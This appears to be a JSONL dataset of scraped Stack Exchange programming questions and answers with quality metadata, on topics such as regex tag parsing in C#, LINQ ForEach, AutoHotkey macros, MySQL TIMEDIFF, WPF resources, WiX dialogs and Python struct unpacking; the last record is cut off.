{"id": "hf_0154350581d7", "question": "<p>Here is the input (html, not xml):</p>\n\n<pre><code>... html content ...\n&lt;tag1&gt; content for tag 1 &lt;/tag1&gt;\n&lt;tag2&gt; content for tag 2 &lt;/tag2&gt;\n&lt;tag3&gt; content for tag 3 &lt;/tag3&gt;\n... html content ...\n</code></pre>\n\n<p>I would like to get 3 matches, each with two groups. First group would contain the name of the tag and the second group would contain the inner text of the tag. There are just those three tags, so it doesn't need to be universal.</p>\n\n<p>In other words:</p>\n\n<pre><code>match.Groups[\"name\"] would be \"tag1\"\nmatch.Groups[\"value\"] would be \"content for tag 2\"\n</code></pre>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Is the data proper xml, or does it just look like it?\nIf it is html, then the\nHTML Agility Pack\nis worth investigation - this provides a DOM (similar to XmlDocument) that you can use to query the data:\n```\n```\nstring input = @\"<html>...some html content <b> etc </b> ...\n<user> hello <b>mitch</b> </user>\n...some html content <b> etc </b> ...\n<message> some html <i>message</i> <a href....>bla</a> </message>\n...some html content <b> etc </b> ...</html>\";\n\n            HtmlDocument doc = new HtmlDocument();\n            doc.LoadHtml(input);\n            foreach (HtmlNode node in doc.DocumentNode.SelectNodes(\"//user | //message\"))\n            {\n                Console.WriteLine(\"{0}: {1}\", node.Name, node.InnerText);\n                // or node.InnerHtml to keep the formatting within the content\n            }\n```\n```\nThis outputs:\n```\n```\nuser:  hello mitch\nmessage:  some html message bla\n```\n```\nIf you want the formatting tags, then use .InnerHtml instead of .InnerText.\nIf it is xml, then to code with the full spectrum of xml, it would be better to use an xml parser. For small-to-mid size xml, loading it into a DOM such as XmlDocument would be fine - then query the nodes (for example, \"//*\"). For huge xml, XmlReader might be an option.\nIf the data doesn't have to worry about the full xml, then some simple regex shouldn't be too tricky... a simplified example (no attributes, no namespaces, no nested xml) might be:\n```\n```\nstring input = @\"blah <tag1> content for tag 1 </tag1> blop\n<tag2> content for tag 2 </tag2> bloop\n<tag3> content for tag 3 </tag3> blip\";\n\n        const string pattern = @\"<(\\w+)>\\s*([^<>]*)\\s*</(\\1)>\";\n        Console.WriteLine(Regex.IsMatch(input, pattern));\n        foreach(Match match in Regex.Matches(input, pattern)) {\n            Console.WriteLine(\"{0}: {1}\", match.Groups[1], match.Groups[2]);\n        }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.141846"}
{"id": "hf_203296851f67", "question": "<p>I collect statistics on IP addresses from where users visit my site and I have noticed what there are only two IP addresses presented, 172.16.16.1 and 172.16.16.248. The property I use to determine IP address is</p>\n\n<pre><code>Request.UserHostAddress\n</code></pre>\n\n<p>What could be a reason of IP address information losing? All the users are from around the world, so they cann't be behind only two proxies.</p>\n", "question_body": "", "answer": "I assume you are behind a NAT/Reverse Proxy so I think you have to use:\n```\n```\nRequest.ServerVariables(\"REMOTE_ADDR\")\n```\n```\nMost likely 172.16.0.0/12 is your privat LAN where 172.16.16.248 is your own address and 172.16.16.1 the address of your router/proxy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.167114"}
{"id": "hf_1b3fef5c699f", "question": "<p>I provide a web service to my organisation. i was wondering would anyone recommeding the use of apache cactus for setting up a testing framework or has anyone worked with any other web service frameworks that may be useful?</p>\n\n<p>Thanks\nDamien</p>\n", "question_body": "", "answer": "As you are dealing with a web service you would not need to use Jakarta Cactus and could get away with writing plain old JUnit tests.\nThe tests would take two forms:\n1. Does the underlying functionality work as expected?\nThis has nothing to do with the web service itself but the underlying functionality it provides. e.g. Does your Data access objects retrieve/process data correctly? Hopefully your web service interface and the underlying functionality are not tightly coupled.\n2. Does the live web service (be it SOAP/REST/XMLRPC) function correctly?\nIn this case a good way to test this is to build a web service client and write tests to see whether this client works correctly against the web service. e.g. Use Axis/CXF/XFire to build the web service client and then write JUnit tests for the data it returns.\nAlso remember to target your testing towards what the end users of this web service will be using. If you have written a Java web service but it is being consumed by .Net clients then make sure you test the service against a .Net client. SOAP services are especially troublesome when it comes to consistent cross-platform behavior.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.203596"}
{"id": "hf_1e7666851898", "question": "<p>I'd like to do the equivalent of the following in LINQ, but I can't figure out how:</p>\n\n<pre><code>IEnumerable&lt;Item&gt; items = GetItems();\nitems.ForEach(i =&gt; i.DoStuff());\n</code></pre>\n\n<p>What is the real syntax?</p>\n", "question_body": "", "answer": "There is no ForEach extension for\n```\nIEnumerable\n```\n; only for\n```\nList<T>\n```\n. So you could do\n```\n```\nitems.ToList().ForEach(i => i.DoStuff());\n```\n```\nAlternatively, write your own ForEach extension method:\n```\n```\npublic static void ForEach<T>(this IEnumerable<T> enumeration, Action<T> action)\n{\n    foreach(T item in enumeration)\n    {\n        action(item);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.252949"}
{"id": "hf_0f0182d2f8aa", "question": "<p>I'm trying to set up <a href=\"http://www.autohotkey.com/\" rel=\"nofollow noreferrer\">AutoHotkey</a> macros for some common tasks, and I want the hotkeys to mimic Visual Studio's \"two-step shortcut\" behaviour - i.e. pressing <kbd>Ctrl</kbd>-<kbd>K</kbd> will enable \"macro mode\"; within macro mode, pressing certain keys will run a macro and then disable 'macro mode', and any other key will just disable macro mode.</p>\n\n<p>Example - when typing a filename, I want to be able to insert today's date by tapping <kbd>Ctrl</kbd>-<kbd>K</kbd>, then pressing <kbd>D</kbd>.</p>\n\n<p>Does anyone have a good example of a stateful AutoHotkey script that behaves like this?</p>\n", "question_body": "", "answer": "This Autohotkey script, when you press\nctrl\n+\nk\n, will wait for you to press a key and if you press\nd\n, it will input the current date.\n```\n```\n^k::\nInput Key, L1\nFormatTime, Time, , yyyy-MM-dd\nif Key = d\n    Send %Time%\nreturn\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.300328"}
{"id": "hf_4129be8e3dca", "question": "<p>I am programming a website in which users will have a number of settings, such as their choice of colour scheme, etc. I'm happy to store these as plain text files, and security is not an issue.</p>\n\n<p>The way I currently see it is: there is a dictionary, where all the keys are users and the values are dictionaries with the users' settings in them.</p>\n\n<p>For example, userdb[\"bob\"][\"colour_scheme\"] would have the value \"blue\".</p>\n\n<p>What is the best way to store it on file? Pickling the dictionary?</p>\n\n<p>Are there better ways of doing what I am trying to do?</p>\n", "question_body": "", "answer": "Using\ncPickle\non the dictionary would be my choice. Dictionaries are a natural fit for these kind of data, so given your requirements I see no reason not to use them. That, unless you are thinking about reading them from non-python applications, in which case you'd have to use a language neutral text format. And even here you could get away with the pickle plus an export tool.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.326137"}
{"id": "hf_00eb0bbed538", "question": "<p>What is the best way to count the time between two datetime values fetched from MySQL when I need to count only the time between hours 08:00:00-16:00:00.</p>\n\n<p>For example if I have values 2008-10-13 18:00:00 and 2008-10-14 10:00:00 the time difference should be 02:00:00.</p>\n\n<p>Can I do it with SQL or what is the best way to do it? I'm building a website and using PHP.</p>\n\n<p>Thank you for your answers.</p>\n\n<p>EDIT: The exact thing is that I'm trying to count the time a \"ticket\" has been in a specific state during working hours. The time could be like a couple weeks.</p>\n\n<p>EDIT2: I have no problems counting the actual time difference, but substracting that off-time, 00:00:00-08:00:00 and 16:00:00-00:00:00 per day.</p>\n\n<p>-Samuli</p>\n", "question_body": "", "answer": "The\nTIMEDIFF\nfunction\nTIMEDIFF() returns expr1 – expr2\n  expressed as a time value. expr1 and\n  expr2 are time or date-and-time\n  expressions, but both must be of the\n  same type.\n```\n```\nmysql> SELECT TIMEDIFF('2000:01:01 00:00:00',\n    ->                 '2000:01:01 00:00:00.000001');\n        -> '-00:00:00.000001'\nmysql> SELECT TIMEDIFF('2008-12-31 23:59:59.000001',\n    ->                 '2008-12-30 01:01:01.000002');\n        -> '46:58:57.999999'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.350547"}
{"id": "hf_749ff4dd64cd", "question": "<p>If you had to make a case to a business about adopting or moving to an agile development methodology (like SCRUM or XP etc) what case would you make (how do you sell the concept)?  </p>\n\n<p>e.g. \n<li>How would you describe the concepts and benefits to a non-technical person?</li>\n<li>If you have successfully done so, what was the winning argument/case/rationale?</li></p>\n\n<p>Edit: The reason I ask is that a friend of mine (he is the solution architect at a firm) is currently trying to decide how to approach his management about exactly this topic, and I've given him what I can in terms of suggestions.  Curious especially to hear from those who have successfully made a case to move to an agile-aligned methdology. </p>\n", "question_body": "", "answer": "Non-technical people are interested in projects done on time and within budget with good quality and which would satisfy their requirements at the time of the delivery. You should focus on how Agile helps to deliver those qualities.\nIt's sometimes quite difficult to sell Agile to a non-technical person for two reasons:\nThe concept of not trying to plan 100% ahead is not really intuitive\nQuite a lot of people claim that they use Agile, fail miserably to deliver anything and give the great SDP a bad name\nTalk about Agile process ability to handle changes.\nIt's usually easier if you work with the customer who already work with you. You could easily show them for example all of the change requests accumulated over the time and show how they affected the schedule and the costs of the project. You could then go into explaining how Agile process will help handling such cases.\nAlong the same line you could take the initial estimations done on a 'waterfall project' and compare them with real-life results.\nI would also talk about the Agile approach to quality. Testing during iterations increase the quality considerably. Short iterations with immediate feedback are great help too, mention them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.399493"}
{"id": "hf_01d4f08f033c", "question": "<p>Is there a way to make sure a (large, 300K) background picture is always displayed first BEFORE any other content is shown on the page?</p>\n\n<p>On the server we have access to PHP.</p>\n", "question_body": "", "answer": "All the html content is served and parsed before it even starts to fetch the image, so you have a problem before you start.\nYou could circumvent this by programmatically hiding the content, and then triggering a \"show\" of it when the image is loaded.\nie:\n```\n```\n<html>\n  <body>\n    <image here/>\n    <div id=\"content\" style=\"display:none;\" >\n\n    </div>\n    <script type=\"psudocode\"> \n     when(image.loaded){ \n          $(\"#content\").show();\n     }\n    </script>\n  </body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.453426"}
{"id": "hf_c75190b54867", "question": "<p>I have some data in the following format:</p>\n\n<p>Salary<br>\nCode     InTime </p>\n\n<p>1690     09:03:00<br>\n1690     09:13:00<br>\n1690     09:07:00<br>\n1691    08:48:00<br>\n1691    08:52:00<br>\n1691    08:50:00<br>\n1691    08:54:00<br>\n1691    08:46:00<br>\n1691    09:28:00<br>\n1691    08:59:00<br>\n1691    08:53:00<br>\n1691    09:02:00<br>\n1693    08:57:00<br>\n1693    09:01:00<br>\n1693    08:54:00<br>\n1693    09:22:00<br>\n1693    09:16:00<br>\n1693    08:58:00<br>\n1693    09:03:00<br>\n1693    09:01:00<br>\n1693    09:02:00<br>\n1693    09:44:00<br>\n1885    09:28:00<br>\n1885    09:04:00<br>\n1885    09:20:00<br>\n1885    08:57:00  </p>\n\n<p>and so it goes for about 2000 lines\nI need to plot a line graph , that plots the intime for each salary code as a trend, with seperate lines for seperate salary codes. Is there an automated way to do this?\nPlease note that the salary codes repeat for each day. The trend required is for each salary code, not row by row.</p>\n", "question_body": "", "answer": "I don't think there is an easy way out..\nthe best I can do in 5 minutes is flip the columns, select and Create an XY Scatter plot.\nIt still won't give you different dot colors for each employee or individual lines", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.489897"}
{"id": "hf_932bc0d8bf4a", "question": "<p>I always wondered what different methods Google Desktop Search is using so that it uses least CPU and memory while indexing a computer containing more 100,000 files on an average.</p>\n\n<p>In just few hours it has indexed the whole system and I did not see it eating up my CPU, memory etc.</p>\n\n<p>If any of you have done some research, please do share.</p>\n", "question_body": "", "answer": "It doesn't...\nI installed it on one computer, and quickly removed it because it was intrusive (although this can be probably configured) and hungry (particularly on a low end PC).\nIt is installed on a laptop near me right now, and if I compare it to a couple of small utilities I run permanently (SlickRun, CLCL, my AutoHotkey script...) it uses more than 10 times their CPU and 5 to 20 times their memory. Times two, since, for some reason, I have one instance running another, plus the ToolbarNotifier (less hungry).\nEven Trend Micro anti-virus uses less memory and CPU.\nPerhaps I will try it again when I will get a more modern PC with lot of memory, but right now I am happy enough with some grep utilities, even if they are slower.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.514340"}
{"id": "hf_2e2ceb8b282b", "question": "<p>I want to sprintf() an unsigned long long value in visual C++ 6.0 (plain C).</p>\n\n<pre><code>char buf[1000]; //bad coding \nunsigned __int64 l = 12345678; \nchar t1[6] = \"test1\"; \nchar t2[6] = \"test2\"; \nsprintf(buf, \"%lli, %s, %s\", l, t1, t2);\n</code></pre>\n\n<p>gives the result</p>\n\n<pre><code>12345678, (null), test1\n</code></pre>\n\n<p>(watch that <code>test2</code> is not printed)</p>\n\n<p>and <code>l = 123456789012345</code> it gives an exception handle</p>\n\n<p>any suggestions?</p>\n", "question_body": "", "answer": "Apparently, you did not assign\n```\nadditionaltext\n```\nto the necessary\n```\nchar *\n```\n(string). Note that the\n```\nlong int\n```\nwas processed, the comma was copied and only the\n```\n%s\n```\ngenerated\n```\n(null)\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.537952"}
{"id": "hf_6ab1a3ddfb00", "question": "<p>Is there a way to have XAML properties scale along with the size of the uielements they belong to?</p>\n\n<p>In essence, I have a control template that I have created too large for it's use/ mainly because I want to use the same control with different sizes. The problem is that I can set the control size to Auto (in the ControlTemplate), however the properties of the intrisic template elements aren't resized: eg StrokeThickness remains at 10 while it should become 1. </p>\n\n<p>It works fine when I apply a ScaleTransform on the template, but that results in a control that's too small when it's actually used: the width/height=Auto resizes the control to the proper size <em>and then</em> the scaletransform is applied. So I'm stuff with a sort of nonscalable control.</p>\n\n<p>I'm a bit new to WPF, so there might be a straightforward way to do this...</p>\n", "question_body": "", "answer": "You could try to bind the width and height of the control inside the template to the width and height respectively of the templated control at runtime. Something like:\n```\n```\n<Button>\n    <Button.Template>\n        <ControlTemplate TargetType={x:Type Button}>\n            <Border Width=\"{TemplateBinding Property=ActualWidth}\"\n                    Height=\"{TemplateBinding Property=ActualHeight}\">\n                <ContentPresenter />\n             </Border>\n         </ControlTemplate>\n    </Button.Template>\n</Button>\n```\n```\nNote that the binding sources are the\nFrameworkElement.ActualWidth\nand\nFrameworkElement.ActualHeight\nproperties of the templated control. These properties contain the width and height of a control after it has been rendered, which can be different from what has been specified in the\nWidth\nand\nHeight\nproperties. This is because the values are ultimately calculated at runtime taking into account the size of any parent controls in the visual tree.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.609823"}
{"id": "hf_8adfdfed0d04", "question": "<p>I want to get the full path of the running process (executable) without having root permission using C++ code. Can someone suggest a way to achieve this.</p>\n\n<p>on Linux platforms i can do it by using following way.</p>\n\n<pre><code>char exepath[1024] = {0};\nchar procid[1024] = {0};\nchar exelink[1024] = {0};\n\nsprintf(procid, \"%u\", getpid());\n\nstrcpy(exelink, \"/proc/\");\nstrcat(exelink, procid);\nstrcat(exelink, \"/exe\");\n\nreadlink(exelink, exepath, sizeof(exepath));\n</code></pre>\n\n<p>Here exepath gives us the full path of the  executable.</p>\n\n<p>Similarly for windows we do it using </p>\n\n<pre><code>GetModuleFileName(NULL, exepath, sizeof(exepath));  /* get fullpath of the service */\n</code></pre>\n\n<p>Please help me how to do it on HP-UX since there is no /proc directory in HP-UX.</p>\n", "question_body": "", "answer": "I have done this before in a general case.  The general idea is to grab argv[0], and do some processing on it:\n```\n```\nint main( int argc, char** argv )\n{\n  string full_prog_path = argv[0];\n  if ( full_prog_path[0] == \"/\" )\n  {   // It was specified absolutely; no processing necessary.\n  }\n  else\n  {\n    string check_cwd = getcwd();\n    check_cwd += argv[0];\n    if ( FileExists( check_cwd ) )\n    { // It was specified relatively.\n      full_prog_path = check_cwd;\n    }\n    else\n    { // Check through the path to find it\n      string path = getenv( \"PATH\" );\n      list<string> paths = path.split( \":\" );\n      foreach( test_path, paths )\n      {\n        if ( FileExists( test_path + argv[0] ) )\n        { // We found the first path entry with the program\n          full_prog_path = test_path + argv[0];\n          break;\n        }\n      }\n    }\n  }\n\n  cout << \"Program path: \" << full_prog_path << endl;\n\n  return 0;\n}\n```\n```\nObviously, this has some assumptions that might break at some point, but it should work for most cases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.645481"}
{"id": "hf_e1b9abf7d741", "question": "<p>Using the PHP <a href=\"http://www.php.net/pack\" rel=\"noreferrer\">pack()</a> function, I have converted a string into a binary hex representation:</p>\n\n<pre><code>$string = md5(time); // 32 character length\n$packed = pack('H*', $string);\n</code></pre>\n\n<p>The H* formatting means \"Hex string, high nibble first\".</p>\n\n<p>To unpack this in PHP, I would simply use the <a href=\"http://www.php.net/unpack\" rel=\"noreferrer\">unpack()</a> function with the H* format flag.</p>\n\n<p>How would I unpack this data in Python?</p>\n", "question_body": "", "answer": "In Python you use the\nstruct\nmodule for this.\n```\n```\n>>> from struct import *\n>>> pack('hhl', 1, 2, 3)\n'\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03'\n>>> unpack('hhl', '\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03')\n(1, 2, 3)\n>>> calcsize('hhl')\n8\n```\n```\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.669492"}
{"id": "hf_64950509c6d9", "question": "<p>I have the following line of text</p>\n\n<pre><code>Reference=*\\G{7B35DDAC-FFE2-4435-8A15-CF5C70F23459}#1.0#0#..\\..\\..\\bin\\App Components\\AcmeFormEngine.dll#ACME Form Engine\n</code></pre>\n\n<p>and wish to grab the following as two separate capture groups:</p>\n\n<pre><code>AcmeFormEngine.dll\nACME Form Engine\n</code></pre>\n\n<p>Can anyone help?</p>\n", "question_body": "", "answer": "```\n```\nusing System.Text.RegularExpressions;\n\n    Regex regex = new Regex(\n    @\"\\\\(?<filename>[\\w\\.]+)\\#(?<comment>[\\w ]+)$\",\n    RegexOptions.IgnoreCase\n    | RegexOptions.Compiled\n    );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.700128"}
{"id": "hf_1eb2fe40f810", "question": "<p>I need a WiX 3 script to display to display only 2 dialogs: Welcome &amp; Completed. Thats it no need for EULA, folder selection etc. All help appreciated.</p>\n", "question_body": "", "answer": "All you need to do is add this in your WIX script, it will give you the WelcomeDlg before the installation and show the Installation progress, then the Exit Dialog.  Don't forget to add the WixUIExtension.dll to your references.\n```\n```\n<UI Id=\"UserInterface\">\n  <Property Id=\"WIXUI_INSTALLDIR\" Value=\"TARGETDIR\" />\n  <Property Id=\"WixUI_Mode\" Value=\"Custom\" />\n\n  <TextStyle Id=\"WixUI_Font_Normal\" FaceName=\"Tahoma\" Size=\"8\" />\n  <TextStyle Id=\"WixUI_Font_Bigger\" FaceName=\"Tahoma\" Size=\"9\" Bold=\"yes\" />\n  <TextStyle Id=\"WixUI_Font_Title\"  FaceName=\"Tahoma\" Size=\"9\" Bold=\"yes\" />\n\n  <Property Id=\"DefaultUIFont\" Value=\"WixUI_Font_Normal\" />\n\n  <DialogRef Id=\"ProgressDlg\" />\n  <DialogRef Id=\"ErrorDlg\" />\n  <DialogRef Id=\"FilesInUse\" />\n  <DialogRef Id=\"FatalError\" />\n  <DialogRef Id=\"UserExit\" />\n\n  <Publish Dialog=\"ExitDialog\" Control=\"Finish\" Event=\"EndDialog\" Value=\"Return\" Order=\"999\">1</Publish>\n  <Publish Dialog=\"WelcomeDlg\" Control=\"Next\" Event=\"EndDialog\" Value=\"Return\" Order=\"2\"></Publish>\n\n</UI>\n<UIRef Id=\"WixUI_Common\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.724748"}
{"id": "hf_8119260da903", "question": "<p>How do I split strings in J2ME in an effective way?</p>\n\n<p>There is a <a href=\"http://download.oracle.com/javase/1.4.2/docs/api/java/util/StringTokenizer.html\" rel=\"noreferrer\"><code>StringTokenizer</code></a> or <a href=\"http://download.oracle.com/javase/1.5.0/docs/api/java/lang/String.html#split%28java.lang.String%29\" rel=\"noreferrer\"><code>String.split(String regex)</code></a> in the standard edition (J2SE), but they are absent in the micro edition (J2ME, MIDP).</p>\n", "question_body": "", "answer": "There is no built in method to split strings. You have to write it on your own using\n```\nString.indexOf()\n```\nand\n```\nString.substring()\n```\n.  Not hard.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.749363"}
{"id": "hf_7f05a356fd04", "question": "<p>Large datasets, millions of records, need special programming to maintain speed in DBGrids. </p>\n\n<p>I want to know if there are any ready-made components for Delphi (DBGrids) that do this automatically?</p>\n\n<p>EDIT For Example: Some databases have features such as fetch 1st X records (eg 100 records). When I reach the bottom with scrolling, I want to auto fetch the next 100. Conversely when I reach the beginning, I want to fetch the previous 100. I know I can program this, but it sure is possible to propagate that feature to a DBGrid control where the DBGrid does the buffering. It will save quite a bit of programming - you simply have to set the \"buffer size\" so to speak.</p>\n", "question_body": "", "answer": "NextGrid is light, fast and nice looking grid for Delphi\nhttp://www.bergsoft.net/component/next-grid/features.htm\nHANDLING LARGE AMOUNT OF CELLS WITHOUT LOOSING SPEED\nNextGrid can handle very large amount\n  of cells without losing speed. Speed\n  of adding, modifying and deleting data\n  doesn't depend of the amount of cells.\n  In NextGrid demo you can see how fast\n  NextGrid work with 100,000 rows and 10\n  columns = 1,000,000 cells", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.848678"}
{"id": "hf_7880a7060e5e", "question": "<p>I'm creating a bunch of migrations, some of which are standard \"create table\" or \"modify table\" migrations, and some of which modify data.  I'm using my actual ActiveRecord models to modify the data, a la:</p>\n\n<pre><code>Blog.all.each do |blog|\n  update_some_blog_attributes_to_match_new_schema\nend\n</code></pre>\n\n<p>The problem is that if I load the Blog class, then modify the table, then use the Blog class again, the models have the old table definitions, and cannot save to the new table.  Is there a way to reload the classes and their attribute definitions so I can reuse them?</p>\n", "question_body": "", "answer": "The answer is yes!\n```\n```\nBlog.reset_column_information\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.885430"}
{"id": "hf_0afb31f48ee7", "question": "<p>When using resources such as brushes, templates and styles in WPF, they can be specified either as StaticResources </p>\n\n<pre><code>&lt;Rectangle Fill=\"{StaticResource MyBrush}\" /&gt;\n</code></pre>\n\n<p>or as a DynamicResource</p>\n\n<pre><code>&lt;ItemsControl ItemTemplate=\"{DynamicResource MyItemTemplate}\"  /&gt;\n</code></pre>\n\n<p>Most of the times (always?), only one works and the other will throw exception during runtime. But I'd like to know why:</p>\n\n<ul>\n<li>What is the main difference. Like memory or performance implications</li>\n<li>Are there rules in WPF like \"brushes are always static\" and \"templates are always dynamic\" etc.?</li>\n</ul>\n\n<p>I <strong>assume</strong> the choice between Static vs Dynamic isn't as arbitrary as it seems... but I fail to see the pattern.</p>\n", "question_body": "", "answer": "A\nStaticResource\nwill be resolved and assigned to the property during the loading of the XAML which occurs before the application is actually run. It will only be assigned once and any changes to resource dictionary ignored.\nA\nDynamicResource\nassigns an Expression object to the property during loading but does not actually lookup the resource until runtime when the Expression object is asked for the value. This defers looking up the resource until it is needed at runtime. A good example would be a forward reference to a resource defined later on in the XAML. Another example is a resource that will not even exist until runtime. It will update the target if the source resource dictionary is changed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:45.933617"}
{"id": "hf_549fc65e649a", "question": "<p>I'm working on a system were a user can edit existing objects (\"Filter\" domain objects to be exact) through a GUI. As a UI hint, we only want to enable the save button if the user really modified something to the object. I was wondering if anyone had any experience with this problem and what the best way would be to approach this.</p>\n\n<p>I was thinking about adding an isDirty() flag to the domain object. When a user starts editing a Filter, I would then make a copy, pass it to the GUI and let the user make modifications to the copy. A binding on the isDirty() flag would then enabled/disable the save button. On saving, the differences would then be merged into the original object and persisted.</p>\n\n<p>Additionaly, I was thinking what would happen if a user undos the changes he made to an object. The isDirty() flag should then return false. So I guess the only way to achieve this is to keep the original value of each property inside the domain object.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Correct!\nAdditionally,you can expose two methods:\nBeginEdit - In this method, your mark your IsDirty Flag to True. Meaning you are doing modification. Call this method when you are about to make modifications\nCancelEdit - In this method, reset the IsDirty Flag to False. Meaning you have arborted the edit process and reverted back to the original state. Call this method when cancelling any modifications made.\nAnd once any modifications are persisted, you also reset the IsDirty Flag to False.\nI hope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:46.057438"}
{"id": "hf_0dc7f7c2f4c2", "question": "<p>We are trying to create some tests that reference an vendors custom grid.  Unfortunatly QTP only recognises it as a WinObject which is quite useless. We need to be able to navigate the grid and change cell values, double click on a cell(without using X,Y co-ordinates) etc.</p>\n\n<p>Ideally we want to get QTP to understand that this object is a grid and treat it as one.</p>\n\n<p>Any help would be greatly appreciated.</p>\n\n<p>Thanks</p>\n\n<p>Jon</p>\n", "question_body": "", "answer": "What vendor?\nI have a few suggestions:\nUse key strokes to navigate the grid, rather than mouse clicks.  Ctrl-Home to set focus to the top-left cell, then use up, down, left, right to move around.  Use Enter keystroke to simulate double clicking.  Often you can use Ctrl-A, Ctrl-C to copy the contents of the grid to the system clipboard, and use the clipboard API to retrieve the data.\nYou may be able to programmatically get/set the grid properties using the .Object property.  .Object provides access to the underlying native properties and methods of the object, as opposed to the QTP methods and properties.  You could do something like the following pseudo-code to set focus to a cell and change the value.  Your code would differ depending on the vendor implementation.  Consult the vendor's documentation to find out what methods and properties you would be able to use.\n```\nWinObject(\"mygrid\").Object.CurRow = 1\n```\n```\nWinObject(\"mygrid\").Object.CurCol = 1\n```\n```\nWinObject(\"mygrid\").Object.Value = \"my new value\"\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 